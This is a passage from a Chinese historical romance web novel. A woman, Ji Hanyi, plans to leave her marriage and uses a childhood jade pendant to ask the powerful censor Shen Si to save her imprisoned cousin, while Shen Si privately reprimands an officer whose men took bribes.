“顾浔你应该认识,你更知道他身后有什么关系,怎么,谢家没人为他求情?”
沈肆说到这个份上,路元还有什么不懂的。
那意思是自己两个手下收了顾二夫人的贿,说他看着妻弟的面子,故意给顾洵放水,来问他的罪了。
路元也觉得自己实在是冤,一来他刚开始是有那个心思,让人去给谢玉恒问了的,谢玉恒说公事公办,他也就明白了,本来就没打算放过顾洵。
之所以拖了这么几天,也是那顾洵被打得半死都不招人,毕竟还是国子监的学生,也不能真将人给打死了,再有他知道手底下的人收了银子,想着先拖拖就是,刚开始嘴硬寻常,但没几个能撑够十天的。
哪里能想到,这么点巴掌大的事情,居然被都察院的给盯上了,还是被沈肆盯上的。
这点事竟值得他亲自过问。
但这时候路元已经不敢多想其他的,他现在是绝不能承认是给顾洵放水的。
也更不能承认知道手下受贿这事。
他抬头看向站在面前的沈肆,语气急促:“那顾洵的确与我妻弟的妻子是表亲,但我妻弟从未给顾洵求过情,还让我秉公处置。”
“之所以拖了几日,是那顾洵先是招人,后头又不认了,这才拖着。”
沈肆挑眉。
他垂眼看着路元大汗淋漓又急切的神情,那眼神不像是在说谎。
这事沈肆也能看出来路元没有说谎,要是季含漪让谢玉恒给顾洵求情,谢玉恒与路元的关系,这事本也不大,更不会拖这么久那顾洵还在北镇抚司。
季含漪舍近求远来找他,这事本说不过去。
他垂眼淡淡轻蔑的看着路元:“你觉得本官会信?你妻弟的夫人就不求情?”
说着他冷笑:“路元,你在本官面前还敢愚弄本官。”
“你治下不严,纵容手下贪赃枉法,对上欺瞒,说的全无实话,顾洵之事,你敢说你没有徇私?”
一桩桩罪责落下来,吓得路元脸色大变。
他无论如何也没想到,一个小小的顾洵,竟然能将他害到这个地步,早知道还不如一早放了,还免得被都察院的人给盯上了。
他手下受贿是铁证,那顾洵与他妻弟的关系也是事实,沈肆真要追究,他连伸冤都不知道怎么伸冤。
但这时候路元已经什么都顾不得了,他只知道自己要是再说错一句话,那就是万劫不复,一股脑儿的就朝着沈肆惊慌开口道:“御史大人还请听下官辩解,那顾洵虽说是我妻弟夫人的表兄,但我妻弟谢玉恒在大理寺任职,历来也是公正无私的。”
“再有他与夫人的感情其实算不得好,也并不喜他夫人,所以绝不会为他夫人来找我求情。”
路元这时候已经顾不得将谢玉恒的家事说出去了,一门心思的只想为自己脱罪。
他说完颤抖的道:“还请大人明察啊。”
沈肆微微一斜眼,对上的就是路元惊慌的眼神。
他面无表情的沉眸,又道:“哦?本官听说他们年少就定下婚约,谢玉恒会不喜他嫡妻?”
路元愣了愣,竟不知道沈肆竟然还知道这个。
难不成为了定他的罪,连他妻弟也查了?
也是,沈肆手上经办提审的案子都滴水不漏,落他手上的人没一个能逃脱的了的。
他便是皇上监察百官的眼睛,谁撞上都得脱层皮。
他已顾不上是否说的是谢玉恒的家事了,全都吐倒出来:“大人有所不知,正因为是自小定亲,所以下官妻弟素不大满意他的夫人。"
"但我妻弟素来克己复礼,为人端正,他们也顶多算作是相敬如宾,这是谢府上下都知晓的事情,所以绝不可能会为了他妻子给顾洵求情的。”
“再有,那顾洵本就犯了律法,下官也不敢凭着关系就放任。”
“下官发誓没有一句说慌的,还请大人明察。”
沈肆淡淡看了一眼抬起手来发誓的路元,抿了抿唇。
片刻后他道:“此事本官心里有论断,但你的这两个手下,你不处置,就别怪本官替你处置了。”
路元赶紧应承:“大人放心,这番回去,便将这两人用刑示众,再流放去充边军。”
沈肆脸上依旧冷淡的没有情绪,又道:“至于顾洵的事情,本官听说过他,在国子监月试与季试皆是甲等,私藏妖书的事情他深知律法,虽不大可能,但你依旧要好好审,别成一桩冤案,当心你位置不保还连累家里人,别得不偿失。”
路元怔怔听着这番话,总觉得这里头话里有话,但他这会儿根本也没有多余的心思思考其他的,只连连应下,生怕慢了一步就被治罪。
沈肆摆手,让路元带着他的这两个手下退下去。
路元赶紧起身,摇摇晃晃出了都察院的大门,外头的光线一照进来,他竟有种刚从鬼门关里走了一遭,这时候又活过来的感觉。
身边那两个带出来的小旗又一下跪在他面前哭着求开恩,路元气的往两人身上一人踢了一脚尤不解气。
要不是这两人,他哪里会被沈肆抓住小辫子。
当下气的又是踢了一顿,恶狠狠道:“收银子的时候怎么不怕?”
“做事不干净,要还想活,去边军活去,留在京城,你们活都活不成!”
第21章 去找沈肆
路元走后,沈肆转身,抬头看向那高高匾额上的肃纪整纲四字,散落在窗外透进来的光线烟尘四起,沈肆站了半晌,也让人看不透到底在想什么。
但刚才一直站在屏风外的文安却是能察觉到一丝不寻常的。
刚才大人与路大人说的那最后一句话,他跟在大人身边多年,大人何曾夸过人,何曾会注意一个国子监小小的监生。
那话分明是在点路大人了。
这么些年,无论多大的面子来找大人求情,几乎都不可能。
大人平日里忙碌,如今为着这小小一件事,叫了路大人过来问责,实让他也预料不急。
又想到昨日撞见的那女子,好似大人也为她多停留了片刻……
文安乱七八糟的想着,只觉得越想怎么就越邪性了,赶紧又打住。
下午的时候,谢锦往季含漪这儿来了一趟。
不过来的时候,正屋没人,一问才知道季含漪在什么后屋的书房,又差人去叫她。
季含漪正坐在椅上看昨日没看完的账目,好清点完自己手上的财物,到时候才好做打算安排。
听到下人来说谢锦来了,季含漪拨弄着手上的算盘,眉眼都未曾抬起过一下。
身后将今日主屋带来的东西收拾着的容春听见,不由走到季含漪身边小声道:“这是又来给少夫人添堵了。”
“端着架子又来给少夫人说教了。”
季含漪指尖算完最后一笔账,在账目上写下数字,才搁了笔。
她看向容春问:“收拾好了么?”
容春忙点头:“东西都放好了,少夫人的东西不多,即便要走,也收拾一会儿就收拾好了。”
季含漪点头,想着待会儿再与外祖母去一封信才是。
容春又担心的问:“万一大爷不答应和离怎么办?”
季含漪笑了下:"容春,他本不愿娶我,他会答应的。"
说着季含漪靠着椅背,她想李眀柔如今还未定亲,谢玉恒拖着不和离,不过也是拖着李眀柔罢了,她倒是不怕周旋。
即便谢玉恒真不答应,那自己只能想其他法子让他答应了。
她又道:“你出去回话吧,便说我风寒严重,怕过了病气给她,不方便见。”
容春也觉得这时候这些人还有什么好见的,即便见了,那嘴里也说不出什么好话来。
特别是这位谢大姑娘,每一回来见少夫人,不是说少夫人这儿做的不好,就是说那儿做的不对,就连屋内的摆设布置都要插手。
还常常过问房中事,从前少夫人忍着,现在都要和离了,可不兴忍着。
她出去时,门外的下人等了好一会儿,见了容春出来,还脸含担忧的小声道:“容姐姐知道大姑娘气性大,等了这久了,怕是要发脾气。”
容春撇嘴,谁还没个脾气?她道:"我家少夫人病得厉害,这会儿不方便见人,你就这么去说去。"
那丫头愣了愣,也不敢多问,忙也去了。
那头谢锦坐在正屋等了半晌,却等来丫头来说一句不方便见,登时脸就沉了。
这都快成婚三年了,她操心子嗣的事来给她送方子,居然还摆起架子来不见。
又冷笑一声,到时候惹恼了玉恒和自己母亲,别哭着来找她求情。
她拢着袖子,一言也不发,直接就走了。
屋内丫头一看这架势,知道谢大姑娘是生了气,又怕去大爷面前说少夫人的不好,心里不免担忧。
这谢大姑娘就是个骄傲惯了的,要事事以她为主,万事不想着大爷与少夫人和睦,还常拱起火来,也就是少夫人能忍,要换成不能忍的,不然这大姑娘每回来一趟,院子里都要闹一回。
季含漪如今自然是不会理会谢锦要在谢玉恒面前说什么,相反的,她还担心她不拱火去说。
好让谢玉恒一怒之下直接在那和离书上落款。
想起昨晚被撕碎的和离书,季含漪只觉得可惜,一笔一画写出来的,这会儿又要再写。
铺开纸张时,季含漪看了看外头天色,天色微沉,她心里算了算时辰,又侧头对容春低声道:“半个时辰后,你出去雇一辆马车,停在后门口等我。”
春容好奇的问:“谢府不是有马车么?”
季含漪低头开始写和离书,只低低道:“不方便。”
谢府的马车上都有谢府的牌子,的确是不方便的。
季含漪出门的时候,正好酉时。
前屋婆子看季含漪这时候要走,不免过来问何时回来,好让厨房的饭菜备着。
季含漪便道:“厨房的菜便不用备了,我回来的会晚些。”
婆子也不好多问,看着季含漪背影,想着难道又是少夫人的母亲病重了么。
后门的马车已经准备好,季含漪上去的时候,马车内还备了火盆,车厢内一片暖意。
那火盆自然是容春特意准备的。
前头车夫问去哪儿,低低的声音投过帘子传过去:“永明巷沈府。”
京城内最尊贵的地界,处处都是达官显贵。
到了的时候,天色已黑。
沈府匾额高挂,季含漪站在下头,想起从前小时候常与父亲过来。
经年过去,再站在这里,早已是另外情境。
其实这时候已经算不上早了,冬日里天黑的早,灯笼已经点亮,照亮威严门庭。
但门房下人说沈肆还未回来,季含漪只能又回到马车上去等。
但沈府前门口是不许停着马车的,她退到了巷口。
她低头看着手上的玉,玉质温润,成色极好,是一块上等祖母绿的玉连环。
这块玉佩其实应该是沈肆的佩子,她不过是意外得到的而已。
沈肆自小就尊贵,一应物品用度,样样都是用的最好的。
季含漪虽是季家独女,用度自然也好,但小时候每每去了沈肆那儿,便看不完的好东西,见了任何东西也总要好奇的去摸一摸。
那一年季含漪正十二岁,她与父亲一起往沈府去,父亲与老首辅去书房,父亲与老首辅常常一待就是一上午,下人也自然而然的引着她去沈肆的书房。
那时候沈肆十六岁,刚刚中了状元,听父亲说他本不用考的,直接便可入翰林,但沈肆不愿家里关系,自己去报了名。
其实季含漪小时候见沈肆的时候也不多,父亲两三月才拜访一趟,多说公事,自己也不是每次都能见到他。
但是或许是从六七岁有记忆起养成的习惯,她喜欢看沈肆高高又修长的身子,还有他那好看的惊人的面容,不由自主就想去找他。
沈肆刚开始也不大喜欢她,季含漪那时候虽小,但别人喜不喜欢她,她还是懵懵懂懂的明白的,但架不住沈肆好看,他屋子里的好东西太多。
老首辅温和,也每每总笑吟吟的与她说,让她多去找沈肆玩,说沈肆总是独来独往太冷清了,让她多缠着沈肆出来走走。
她那时候被父亲娇惯坏了,更不知晓害怕,虽说没拉沈肆出来过,但至少进他书房不会被他赶出来了。
他在书房读书,她就去他的多宝阁上看他的宝贝,他坐下写字,她就趴在他对面看他写字。
沈肆不许她碰他,但她主动去拉他袖子,他也没推开过。
那日是初秋,但光线明媚,十二岁的季含漪已经明白男女大防了,没凑往沈肆跟前去,她喜爱字画,沈肆的书房里全都是大家书法和画卷,他在内隔间看书,她就在一道屏风之隔的外头看他收藏的古画。
十二岁之后,两人几乎未说过话,即便同处一室,也毫无交集。
沈肆的确太凉薄了,不主动靠近他,他就永远是冷的,永远也不会往你走近一步。
但那天季含漪将一卷她喜欢的名家的画作打开时,却在那里头看到了那块玉连环。
祖母玉绿很漂亮,两个玉环穿在一起,还叮叮作响,季含漪当时拿在手里便很喜欢,但这是沈肆的东西,他允许她看这些古画,对季含漪来说,就已经是沈肆这样性子的人不可能的事情了。
她更不能擅拿他的东西,
她让人将玉佩拿进去给沈肆,想着万一这块玉佩是沈肆不小心卷进画里的呢。
只是没多久下人进去后又出来,重新将玉交还到她手上,那下人传了沈肆的话,说玉佩是她发现的,便给她了。
但季含漪总觉得,那是因为她碰过了玉佩,所以沈肆不想要了。
但那几日正逢着她十三岁生辰,她的确喜欢极了那玉,便收下了。
后来她回去后还特意写了封给沈肆感谢,可惜一直没有他回信,但季含漪已经习惯了,要沈肆回了信,她反要觉得那人是不是沈肆。
那一年最后一面是在过年那几日。
老首辅门生众多,拜访的人亦多。
那天的雪下得很大,大的簌簌的要撑伞。
她在后院跟着母亲,与其他来的女眷一起去拜访老首辅的夫人。
从明堂出来的时候,她看到沈肆独自站在后院不远处往她这边看,她也不知道他在看什么,但她要跟随着母亲,况且那时已经不是小时候了,早已不能如小时候见到他那般往他身边去。
但那天沈肆居然破天荒的叫人让她去后院那棵大松树下等他。
季含漪都觉得太阳从西边出来了。
她去的时候,沈肆已经在那儿了,也不知道先等了多久。
其实季含漪都许久不曾那么近的看过沈肆了,这么近的看他,她发觉他高了许多,愈加俊美,难怪京城里沈肆所过之处,许久女子总是竞相去看。
他驻足过的地方,总是引得众人也去驻足。
那天的沈肆依旧面容冷淡,季含漪从来也看不透他到底在想什么。
他冷冰冰又高高在上,她少年时年岁越大,在他面前便越有种对他的畏惧。
那种畏惧她自己也不明白,她觉得沈肆如九天上的神佛,没有七情六欲,没有喜怒哀乐,像是一个审判又洞察一切的无情大佛,让所有人在他面前都要小心谨慎起来。
当沈肆的目光落在她身上时,季含漪也只有心慌。
总觉得自己该是做错了什么事。
那天沈肆指着她腰上的玉佩,是他送的那个玉连环,但好似应该也说不上送。
沈肆指着玉佩,与她说,让她往后不许佩在人前。
季含漪以为沈肆不高兴玉佩给她了,那时候心里忐忑的不行,忙将玉佩解下来要还给他。
可她的手递过去在半空,手都被冻的发红了,沈肆也没有接。
他许久后才说,那玉佩给她的,是给她的生辰礼。
往后有事,带着玉佩找他,他就帮她。
那天十六岁的沈肆,高高的个子还往她那头走了一步,弯腰看她,低声在她耳边说只有一次机会。
即便是天大的要求,即便是违背约定的要求,他都会应她。
只要她想。
那天季含漪震惊极了,她没明白过来沈肆到底是什么意思。
她想不明白天大的要求是什么要求。
她又能想出什么违背约定的要求来。
她与谁有过什么约定。
她唯一有的就是婚约了。
父亲自小为她定的婚约。
她虽没见过谢家郎君,但也听过父亲总夸他,季含漪也从没想过要反悔与谢家的婚约。
那时候季含漪想不明白,直到现在的季含漪也想不明白那年沈肆为何要与她说那句话。
或许曾经的自己在他心里是有一些不一样的,毕竟老首辅也曾含笑与她说,她是唯一能在沈肆书房待许久的人。
但那回之后第二年春,她不小心在沈府落水,母亲说沈肆救了她,被沈肆抱进了他的屋子,到了半夜才醒过来。
但季含漪全不记得落水后的事情了,连那件事一点零星的记忆都没有。
只记得那之后再没见过沈肆。
他的书房也再不许她进。
如今算起年头来,竟然已经过了六年多。
思绪到了这里戛然而止。
又不知多久后,身边容春小心推了推她,紧张的小声道:“少夫人,沈大人好似回来了。”
外头传来马车声,季含漪让容春呆在马车里,又忙掀了帘子出去,在大雪纷飞里,看向那极冷又极贵的人在众多下人中,慢条斯理的从马车上下来。
第22章 求他
夜色漫漫,鹅毛大雪乱舞在两人中间,像是白色的帷幕,隔绝出两个世界。
沈肆身边跟两侧跟着四名随从,手上提着琉璃灯,明亮的光线落在他黑狐大氅上,颀长的身形无形里便让人自惭形秽。
她身后是兵荒马乱一地狼藉,身前是他带来的冷清寒冰一片。
她大着胆子往他身边走过去,透过白纱看他,只为等着与他说一句话。
站在沈肆身边的随从忙要来赶人,沈肆只是轻轻一抬手,随从便退去了身后。
他顿足在原地看着季含漪往他过来,巷子穿堂而过的寒风烈烈,吹向她单薄又玲珑有致的身形,裙摆翻飞。
寒风吹拂她指尖白纱,轻抚在她如雪皮肤上,白纱一角下小巧下巴上的鼻头泛红,黑白分明又有几分妩媚的杏眼正往他急切看来,尽是期盼与忐忑。
娇小的身子裹在洒金的红色斗篷里,那双纤细的素手抬手间,露出手腕上那抹皓白。
他视线仅仅扫过她脸庞一眼,在她就要近到身前时,转身往大门处去。
沈肆并没有在季含漪面前停留的打算,这个女人也不该一而再,再而三的出现在他面前。
身后的随从知晓这是大人不愿见这女子,忙挡在季含漪面前,隔绝她再往前一步。
身前挡住了高大的护卫,季含漪眼睁睁看着他颀长身形消失在那道朱门里,眼眶涩了涩。
直到大门合上,挡在面前的前门护卫这才离开。
沈肆神情冷淡的往前走,门房下人跟在沈肆身边,小心翼翼的将一个手上的玉佩呈到沈肆面前:“侯爷,这是门口那女子叫小的拿来给侯爷的。”
沈肆目光下垂,见着下人手上的那块玉佩时,脚步微微一顿。
门房下人也没想到侯爷会顿住步子,忙又看着沈肆的脸色小心道:“那女子说今夜不见到侯爷便不会走。”
“要让人去将那女子赶走么?”
沈肆抬手从下人手中将玉佩拿在手心,拇指拂过玉佩的每一寸,似浸润了她身上那股暖的甜腻的甜香气,在风雪里散开迷雾。
一颗颗冷雪落入他掌心,雪片化开在他指尖。
身边的昏昏琉璃光线落在湿漉漉的潮湿地面上,沈肆站了站,什么话也没说,抬起步子往前走。
下人不明白这什么意思,不说见,也不说赶。
那到底应该怎么办?
侯爷的心思一向难猜的很,那下人将目光放在跟在后面的文安身上。
文安打了个手势,意思是这事先别管,要怎么做,侯爷自然有吩咐。
刚才文安跟在侯爷身后看清了,那女子不就是那天那女子?让侯爷站在高处看了许久的人?
他莫名就觉得那女子应该是有些不一样的。
他虽只跟在侯爷身边三年多,但侯爷何曾在一个女子身上多停留过片刻?
今夜那女子来,若是换成是旁的人,早被赶走了,是不可能还让她等在门外的。
沈肆回了书房,屋内早生好了地龙,案桌上堆着公文,他摆手让屋内的人都退下去,独自坐在案桌后头。
窗外簌簌雪声却让他觉得喧哗,他去窗前推开窗,大雪灌入进来,寒冷刺骨。
他忽有些烦躁起来,厌烦这一刻心底升腾起来的情绪。
就如这外头风雪,他再抗拒,依旧无孔不入。
叫来外头的文安,文安连忙进来。
沈肆坐在案后,似是漫不经心的问:“走了没。”
文安先是愣了瞬,随即反应过来,忙道:“应该还没走。”
沈肆抬眼看了文安一眼,寂静良久,他看着放在案上的玉佩,又淡淡落下一句:“让她来见我。”
文安去前门的时候,那女子果真还在的。
这么冷的天,就站在外头。
他试图看出这女子的身份,但那马车是平平无奇的马车,没有牌子,像不是世家出身。
又见那雪里的女子,身量娇小,披着银狐斗篷,带着帷帽,也看不出面容和美丑来,实在看不明白这女子有什么不同来。
但文安脸上满是客客气气,请季含漪往偏门去。
毕竟是大晚上的一个女子来,总要为着侯爷的名声想想的。
虽说前门的人也不敢乱说,万一就被撞见了呢。
季含漪指尖紧紧捏着帷帽上的白纱,怕露出面容来,这样安排,的确也是她想的。
她并不是要与沈肆攀上什么关系,再引人议论。
那块她本打算一辈子深藏的玉佩,如今终究还是用来求他帮忙。
他与她如今更是云泥之别,大抵他都已经忘了她,如今肯见她一面,她已经感激。
沈肆的书房格外幽静,这处地方其实季含漪并不陌生,即便好些年没有再来,再来的时候,还是有一股淡淡的熟悉感。
书房里也没有下人在,她被引到外厅等候,稍有些局促的坐在椅上。
被冻红的手掌紧紧捧着手里冒着热气的茶盏,心里却在忐忑的想,待会儿该怎么与沈肆开口。
他该是没有空闲听她客气的说从前的那些寒暄的,他大抵也早忘了。
或许自己应该直接求他。
明明没有见他时,她只想着该怎么能见到他,如今即将要见到了,她却紧张得心里如一团乱麻,没有头绪,甚至连如何开口都是紧张的。
是的,她依旧还是有些怕他的。
怕他的冷。
思绪被从里头出来传话的人打断,那人说沈肆让她进去,她紧张的指尖捏紧,才往里头走去。
沈肆静静看着屏风上头那映出来的身形。
半透明的屏风,她的一举一动他都能清晰看到,还听到她细细的几声咳。
他看到她在要穿过屏风进来的时候又顿住,再往前走。
他收回目光,等着她踏入他的领地。
并不动声色的观察她。
季含漪进来时,屋内唯有沈肆高坐在案后,他手中拿着毛笔,银色绸衣衬的他面容高华又冷清。
他未看她一眼,好似是百忙中见她一面。
也许是的,他似乎向来如高悬的寒月,不食人间烟火,不理会身边的喜怒哀乐。
她指尖掀开帷帽白纱搭在帽檐上,驻足在原地,垂着眼眸,姿态卑微小心的开口:“我表哥入了北镇抚司,生死未知。”
“他在国子监课业出色,明年考成合格便能授官了,这回的事情是洵表哥的错,但情沈大人帮他一回。
季含漪说完,跪地俯首,又低声道:“玉佩今夜交还与沈大人,往后再不叨扰大人。”
第23章 他的确体会过这具身子有多软
没有寒暄,或是将过往作为铺垫。
季含漪想,沈肆应该也是不喜听那些的。
她更知晓沈肆也不会喜欢她用这块玉佩来求他。
那年或许只是他随口一个承诺而已。
她如今来也是物归原主,让他放心,她再不会拿着这块玉来烦扰他了。
沈肆的余光处一直都落在那道黛蓝色身形上,他看着她跪在地板上,白净耳垂上的青玉耳坠晃动在她下巴上。
她低着头,他的眼神便上抬,毫不掩饰的打量。
她一头乌黑的青丝梳成妇人的发髻,上头斜插着一支扇形花簪,保守的暗纹高领子严丝合缝的遮住她纤长颈脖上的每一丝肌肤,只隐隐看见一些余白。
她脖子上的那块绿松石璎珞落在她面前地面上,脸庞上纤长的睫毛轻动,如是她的不安。
几年未见她,她依旧肤色雪白,身形玲珑,即便她身子裹在那厚厚华布下,也依旧勾勒出让人遐想连篇的妩媚弧度。
她身上有一股媚不自知的引诱,已为妇人的她,稍丰腴的身子又添一股内敛。
沈肆收回视线,他并不想将视线在她身上多停留。
更不想被她抽走太过的思绪。
尽管他余光尽数落在她身上。
手中的毛笔搁置在笔架上,他看了眼静静放在桌上的玉佩,半晌后开了口:“谢夫人,你其实不该来找我。”
沈肆这话不是要故意为难季含漪,因于情于理,她都不该来找他。
于情她已是谢家妇,谢玉恒不是没能力帮她,但她却求与旁的男子,于情不合。
于理他是都察院左都御史,本就该监察百官,她来求情让他帮她表哥,不就是让他监守自盗,玩忽职守。
冷清又无情的声音让季含漪心头生了一层霜,她能够听出沈肆话里的意思,她是不该找他的。
但她无人可找了。
她身后还有一地狼藉未来得及清扫,她身后只有外祖家了,从谢家离开,她唯一只能回外祖家,帮洵表哥,也是为她稍铺一点后路。
季含漪抬头,视线正对上沈肆从高处看来的眼神,疏离又毫无情绪,仿佛在看一个无关要紧的人。
她的心又没来由的发紧,哑声说出她的窘迫:“因为我无人可求了。”
沈肆看着季含漪微微发红的眼眶,她抬起头来,所有明亮的光线都落在她脸庞上,白腻的脸庞上因为染了热气生了一层红晕,小巧的琼鼻上光线跃在那里,引诱着人的目光往她那张小巧的樱唇上看去。
她身上有一股清纯无辜又妩媚饱满交织的引诱,是沈肆梦里避不开的香艳旖旎的噩梦。
他并不喜欢她生就的这张股妩媚勾人的面容,也更不喜欢她那双好似含情脉脉的眼睛,看着人时,眼里似总如一汪春水在荡漾。
好似看谁都有情。
自然便不喜欢她用这双含情的眼睛看任何一个人。
但现在,他最不喜欢的是,她在出现在他的面前。
他抗拒关于她的任何事情,她却在经年后主动见他。
沈肆听着季含漪的话,微微深了眼眸,唇边勾起一个淡淡薄情又冷漠的含笑。
他放松姿态,靠在身后的椅背上,矜贵高华的面容依旧深不见底的看不出丝毫情绪,手中把玩着琉璃球,冷静的开口:“谢夫人的意思是,你除了找我帮你,你就再找不到别人帮你了。”
“是这个意思么。”
季含漪心头微紧,她点头。
沈肆挑眉:“谢家没这个本事帮你?”
“多大点事,值得你跪在我这里。”
沈肆的话不冷不淡,却像是一把凌迟的匕首在割心上肉。
如今在沈肆面前,被他轻而易举的揭开她在谢家过得并不如意的事实。
她更无法在沈肆面前开口说她不得夫君喜欢,甚至从未得到过夫君的心,这会让她更觉得在沈肆面前又卑微到了尘埃里。
她当真是可悲的,她也早不是从前那个季含漪了,她没有了家,没有了父亲,至亲疏远,枕边人异心,或许她的确无能。
温暖的室内只余寂静,沈肆并没有要得到季含漪的答案。
他看着她低眉,耳边坠子颤颤,似是难堪,叫人不忍。
沈肆抿唇,他想,他其实本也不该见她的。
见一个已婚之妇,他自己都觉得甚是可笑。
但当视线再一次落在季含漪身上时,他看到她眼角微莹,又闭上了眼睛。
他从椅子上起身,修长的手指拿过那枚桌上的玉佩,他走至她面前,弯腰看她。
她身上柔软的暖香袭来,靠近她,将她身上的每一处都看得更加仔细。
她肩头化开的雪落下点点湿润,她鬓边有一缕发丝缠绕在她下颌上,她的眼神凌乱又无助,她青绿色的耳坠轻颤,更显得她颈脖修长。
这身素净又低调的料子不掩她妩妩细眉下的娇柔,反衬她一股让人想将她用力蹂躏的柔弱。
季含漪自来身娇体柔,他的确体会过这具身子有多软。
他蹲下身子,矜贵修长的身子,即便蹲下身来,也带着一股冷清的贵气,在季含漪面前落下一团冰凉的阴影。
季含漪一愣下,身子便下意识的想要后缩。
沈肆历来身上都带着一股生人勿近的冷淡的,哪怕是他主动靠近,被靠近的人也会下意识的回避他。
那或许是害怕,也是在他面前不受控制的自卑,只能用退缩去掩盖。
沈肆将季含漪的所有动作都收进眼底,他伸手将手上的玉佩送到她面前,修长的手指如玉,袖口带来一股冷茶香,玉佩落在他掌间,衬的那玉也愈贵重。
他眼神依旧紧紧看着季含漪的神情:“我只答应你一件事,你确定要我帮你表哥。”
季含漪刚才还沉甸甸彷徨的心思,在听到沈肆这句话时,便明白他愿意帮忙了。
她忙抬头,撞上沈肆看来的眼眸,她掩住眼里对他的那股惧意,忙感激点头:“只求沈大人这一件事,往后再不来求大人。”
季含漪说完要低头感激,下巴却被忽然被一只微凉的手指捏住。
浓烈的冷香传来,季含漪眼神惊恐慌张的抬头。
只是对上沈肆目光时,他眼神如一团化不开的寒冰,疏远又面无表情,没有含有丝毫带有其他情绪的眼神,又让季含漪有霎那间的自惭形秽,为自己那瞬间生出来的心思惭愧。
也是,自来好似没有七情六欲的沈肆,他即便忽然对她做出这样稍有些暧昧的动作,也是有他的道理的。
他怎么可能会对自己有什么别的意思。
第24章 谢夫人想好了?
暖暖昏黄的纱灯下,季含漪不敢躲开,强忍着那股不安的战栗。
沈肆看着她,手下的皮肤温热,她那双美到极致的眼睛带着惊惶,浓密的乌发衬她朱唇皓齿,似巫山雨雾蒙蒙,如幼兔匍匐在老鹰的利爪下,着实柔弱,着实叫人想欺负她。
几年未见她,她生的更艳了几分。
捏在她下巴上的指尖离开,冷清的声音响起:“谢夫人想好了?”
季含漪忙点头,犹如抓住了最后一根救命稻草:“我想好了,只求沈大人能救我的表哥。”
沈肆抿唇静静看着季含漪,看着她眼神里升起的那末细碎的光。
唯此一次的机会,她用在这样无关要紧的人身上。
一如当年他将玉佩给她,她也没有用心的将他的话放在心上。
她从来都不知道这玉佩意味着什么。
但早无关要紧了,他只想这女人再别出现在他面前。
沈肆淡淡垂眸,眼神里的神情愈加疏冷,他将玉佩放到季含漪面前:“我可以帮你。”
“但这玉佩本不算是我送你的东西,你碰过,也不必还我了。”
说完沈肆起身,叫季含漪也起身离开。
面前的阴影离去,季含漪怔怔看着静静放在面前的玉佩,沈肆刚才的话亦刺痛了她的心,她碰过的东西,他便不要了。
也是,他自来天之骄子,高高在上,身侧没有几人能靠近他。
他能让自己来见她,答应帮她,已经是他天大的开恩了。
紧紧将那枚玉佩捏紧在手心,季含漪微微有些吃力的站起来,看着背对着着她站着沈肆,她低头对他感激的福了礼,才带上帷帽往外走。
空荡荡的院落,外间一个伺候的丫头都没有,除了外头未停的雪声,静谧的可怕。
踏出门槛走到廊下时,白雪夹着寒风便往身上裹挟过来,帷帽上的白纱被风吹的不停扬起,她手指紧紧捏着一角,拢紧了身上深色斗篷,微微缩着身子往外走去。
沈肆站在窗前,负手静静看着那末娇小的身形。
廊下灯笼被吹的七零八碎,鹅毛大雪落在那单薄身形的发上,旁边无人为她提灯,她安静的一步步走入暗沉的院外,那旖旎的身姿也在飞雪中隐去身形。
独自一人,身形单薄。
有一根绷紧的玄系在心头。
寂寂眼眸里闪过一抹沉寂的暗色,沈肆看了半晌才转过了身。
他重新坐在案后,提笔继续看下头巡按御史送来的信件,神情里没有一丝变化,仿佛刚才并不曾有人来过。
文安一直等在院门口,看到季含漪独自从屋内出来,忙提着灯笼在前头照路。
他不知屋内的情境,更不敢去窥探一角,甚至不知这来的女子是谁。
但此刻文安的心里对身边这位女子很是恭敬,没有别的,侯爷的书房从来都不曾让女子进去过。
就连一应打扫,也是侯爷身边的几个长随。
书房里的都是要紧的东西,侯爷又在这个位置上,来往的信件更是机密,不说旁人轻易进不得府来,便是能进来,书房重地,除非是老爷才能进去。
可侯爷让这个女子进去了,还待了不少的时间。
夜色昏暗,但他好奇的心却忍不住偷偷打量。
走在身侧的女子很是安静客气,刚才出来时还与他福礼,再看那一身缝着银线的锦衣,显然出身是好的。
虽不知到底有多好,看着至少是富贵。
琉璃灯光线影影绰绰,那雪中白纱下的面容朦胧,可即便是这样,那娉婷窈窕的身姿,那纤细又白净的手指,仍旧能够让人遐想出那白纱下的面容是极美的。
文安想,侯爷要是真对这位女子上心也好。
老首辅如今快古稀的年纪,老夫人年事也高,每每跟着侯爷进宫去见皇后娘娘,皇后娘娘也催。
这京城里的但凡有些名声的贵女,皇后娘娘想尽法子的想让侯爷去看一眼,没有哪一回侯爷去了的。
即便去了,也没见侯爷眼神多看谁一眼。
说是谁都行,但真到了议亲那一步,又不行了。
甚至京里还有人传他与侯爷的关系不一般,害得他也被姑娘敬而远之。
心里存了心思,文安愈发不敢怠慢,还亲自从小门送至外头的马车外,还要安排人一路护送回去。
当然他心里也存了小心思,这马车太过平平无奇,什么都看不出来,他也想知道到底是哪家姑娘,留个心眼子,免得将来得罪。
季含漪是没想到一路被送到这里,表哥的事情落下帷幕,好歹让她凌乱的日子理出一条路来,心也松出一口气。
她从来不但心表哥不会被放出来,既是沈肆答应的,那表哥就一定能出来。
如今见沈肆身边的人这般客气,季含漪还有些恍惚,她客客气气道:“不好劳烦了,我去处并不远。”
说着季含漪对着文远又是一福礼:“多谢一路送来这处,天寒雪重,你也快些回吧。”
这声音软中带绵,听起来有一股娇柔气,声音极是好听,不由让文安又多往季含漪身上看去。
面前女子锦衣素服,白纱如雾,虽说是低调的很的装扮,却叫人遐想连篇。
文安都被自己自己紧看在面前女子身上的眼神吓了一跳,忽反应过来,难怪侯爷对这女子也不一般,这凭谁能挡得住。
文安忙后退两步,赶紧回礼,目送着马车离开。
季含漪坐在马车内,她之所以重新雇一辆马车,又让容春坐在马车里,便是不想人知晓她身份。
她毕竟如今是谢家妇,即便沈家是高门贵胄,又是清贵门第,她不管是为着自己,还是为着沈肆的名声,都需要小心。
其实她单独过来找他,已经是极胆大的事情了。
刚才一心想要见到沈肆,所有的顾虑都抛之脑后,如今再坐在马车里,看着身边容春关心看来的眼神,她这时候才感觉出一丝丝的后怕来。
她低头看着手心里一直紧紧捏着的玉,这时候松开才发觉因为捏得太紧,手心有一点点的疼。
她想,这块玉佩大抵永远也不会被再拿出来了。
就如沈肆说的,这玉不算是他给她的,他们两人也再也不会有交集。
就如那次落水后他与她再也没见。
容春看着季含漪有许多话想要问,季含漪重新将玉佩收起来,侧头对上容春的眼神,低声道:“别说今日去了哪里,只说我照顾母亲晚了些。”
